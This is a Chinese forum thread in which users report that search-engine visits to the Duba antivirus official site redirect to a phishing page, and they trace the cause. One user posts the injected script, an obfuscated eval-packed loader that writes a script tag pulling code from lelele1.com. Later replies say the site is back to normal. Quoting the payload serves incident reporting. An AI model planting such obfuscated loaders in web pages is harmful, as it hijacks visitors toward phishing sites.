通过搜索引擎进入毒霸官网会被定向到一个钓鱼网站[现恢复正常]

傻瓜爱笨蛋

刚刚才发现真的是

zay365

被挂马了吗？哪个js被篡改了

YorkWaugh

直接访问https://www.ijinshan.com/似乎是正常的，百度结果会跳转

tg123321

成功复现

zay365

https://lelele1.com/yb.js
好像是这个

zay365

1. <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))',44,44,'|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|lelele1|com|yb|js|split'.split('|'),0,{}))
   
2. </script>

复制代码

应该是这段

yaoyunjia

已经正常了

zay365

现已恢复正常

abcdefghihijk

已正常

花的神明

河北保定联通没事，不跳转。